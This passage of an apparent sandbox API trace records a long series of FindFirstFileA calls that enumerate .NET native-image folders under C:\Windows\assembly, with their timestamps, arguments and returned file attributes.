lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Office.To#\\e1f8e4d08d4b7f811b7dbbacd324027b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ed5c0f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb586fc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb586fc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.225] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Office.To#\\f507365504ffb246bf981e626772d43d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c359b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb5ad120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb5ad120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.232] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Office.To#\\fba726a4e37b1af56f6b10dcb343a598\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2342cf70, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb5ad120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb5ad120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.240] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63325d3b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb5d3280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb5d3280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.247] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\2ba6bf6e9258afde91ab81fad2d37469\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b59f40b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb5d3280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb5d3280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.253] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\3008a05e2928e2c1d856cc34e0422c17\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6811ae4b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb5d3280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb5d3280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.261] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\4f68cd04686e5dc5a55070d112d44bdf\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63325d3b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb5f93e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb5f93e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.266] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\6cc1334749f85cce651642f0a8260892\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a45d46c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb5f93e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb5f93e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.273] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\8ce205027e30804d1b2deaffa0582735\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c186221, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb61f540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb61f540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.278] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\8df695fb80187f65208d87229e81e8a2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67403532, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb61f540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb61f540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.287] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\b1c511d8fad78ad3c5213b2b4fb02b8b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68780976, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb6456a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb6456a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.307] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\e998eeb1548ffd53b39dcde50d196ab7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bdf411b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb66b800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb66b800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.312] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Security.#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aa9e4c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb66b800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb66b800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.317] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Security.#\\3710621dc3c65616c4f62bd92619fe01\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ac8d6a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb691960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb691960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.322] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Security.#\\40e947ae0ec2fd2f63e8ca522f606aec\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bf1b6a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb691960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb691960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.327] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Security.#\\9fa0c0ee9093a5f1aaabffb101332056\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aa9e4c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb691960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb691960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.333] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Security.#\\d660f850b373b57c4e22a7100feeb1a4\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbaa69730, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xb6b7ac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb6b7ac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.338] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Security.#\\de71165622f703a515b6b18175eb7996\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6abf5120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6b7ac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb6b7ac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.345] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Security.#\\e166ff6b4e2f181ace48ef30fcc1b55c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ab36a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6b7ac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb6b7ac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.352] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Transacti#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58bc7127, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb6ddc20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb6ddc20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.357] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Transacti#\\4a235e617ad0a4c3aecd3982f0e3c48a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b5bb534, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb6ddc20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb6ddc20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.363] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Transacti#\\af058f98427f47670e70468a36d84ee4\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58bc7127, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb6ddc20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb6ddc20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.370] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6cddf458, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb703d80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb703d80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.377] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6cddf458, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb703d80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb703d80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.384] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualC\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8c422c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xb729ee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb729ee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.391] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualC\\4bfa36696bef033cf7e33b1a092c8a0f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8c422c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xb729ee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb729ee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.397] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e259b30, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb750040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb750040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.404] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\03cad6bd8b37d21b28dcb4f955be2158\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f114350, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb750040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb750040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.412] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\0cb958acb9cd4cacb46ebc0396e30aa3\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f2dd3d0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb7761a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb7761a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.420] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4597d720, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xb7761a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb7761a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.428] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448d3d20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xb79c300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb79c300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.435] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45128a20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xb79c300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb79c300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.443] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cbe5880, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xb7c2460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb7c2460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.453] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ec05490, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb7c2460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb7c2460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.460] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d32fbe0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xb7e85c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb7e85c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.467] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27472170, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb7e85c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb7e85c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.474] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44d24500, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xb80e720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb80e720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.482] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bfb27c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xb80e720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb80e720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.488] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x279cd2f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb80e720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb80e720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.494] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\787526c375f27d452cde50fea4f7986b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x266c22f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb834880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb834880, 